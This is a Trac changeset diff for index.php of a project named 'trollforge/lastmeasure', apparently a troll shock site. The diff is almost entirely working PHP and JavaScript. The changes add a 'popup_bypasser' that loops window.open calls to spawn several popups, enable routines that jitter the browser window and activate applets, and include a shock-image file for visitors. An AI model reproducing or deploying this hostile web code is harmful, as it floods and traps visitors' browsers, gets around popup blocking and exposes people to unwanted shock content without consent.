Changeset 92 for trollforge/lastmeasure
- Timestamp:
- 11/24/05 01:43:50 (8 years ago)
- File:
-
- 1 edited
-
trollforge/lastmeasure/index.php (modified) (6 diffs)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/index.php
r91 r92 10 10 $popup = $_GET['popup']; 11 11 $procreate = $_GET['procreate']; 12 $music = $_GET['music'];13 12 14 13 /* Print a random image name, with its 'image/' prefix. */ … … 104 103 function movew0w() { 105 104 var j; 106 for (j = 0; j < 10; j++) {107 curstep += step / 10;105 for (j = 0; j < 5; j++) { 106 curstep += step / 5; 108 107 var factorX = Math.sin(curstep * 6.1) * 0.9; 109 108 var factorY = Math.cos(curstep * 3.7) * 0.9; 110 109 111 //factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)112 //* (Math.sin(10+curstep/(10+j))+0.2)113 //* Math.cos((curstep + j*25)/10);114 //factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)115 //* (Math.sin(10+curstep/10)+0.2)116 //* Math.cos((curstep + j*25)/10);110 factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70) 111 * (Math.sin(10+curstep/(10+j))+0.2) 112 * Math.cos((curstep + j*25)/10); 113 factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70) 114 * (Math.sin(10+curstep/10)+0.2) 115 * Math.cos((curstep + j*25)/10); 117 116 self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY)); 118 117 } … … 124 123 } 125 124 126 function spawn_children() { ?> 125 function popup_bypasser() { ?> 126 <!-- This chunk bypasses popups --> 127 127 <script> 128 128 function shellscript() { 129 open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?music=1','_blank','scrollbar=no');130 // TODO: LOOP131 open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');129 for(i = 0; i < 5; i++) { 130 open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no'); 131 } 132 132 } 133 133 … … 195 195 */ 196 196 197 if(!$popup && !$send && !$procreate && !$music) { ?>197 if(!$popup && !$send && !$procreate) { ?> 198 198 <body> 199 199 <?php include "include/goatse.php"; ?> … … 234 234 <?php move_around(800, 600); 235 235 external_ruin(); 236 activate_applets(); 236 237 if($br_ie6) { 237 //activate_applets(); 238 //spawn_children(); 238 popup_bypasser(); 239 239 //divert_onload(); 240 240 } //else { ?> … … 285 285 /* 286 286 * 287 * Window is a music helper window288 *289 */290 291 } elseif($music) {292 ?>293 <body onLoad="movewindow();"294 onUnload="window.open('index.php?music=1','music','fullscreen=0');">295 <?php move_around(10, 10); ?>296 <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">297 <tr>298 <td align="center" valign="middle"><?php hey_everybody();?></td>299 </tr>300 </table>301 </body><?php302 303 /*304 *305 287 * Window is a procreate window 306 288 *
Note: See TracChangeset
for help on using the changeset viewer.
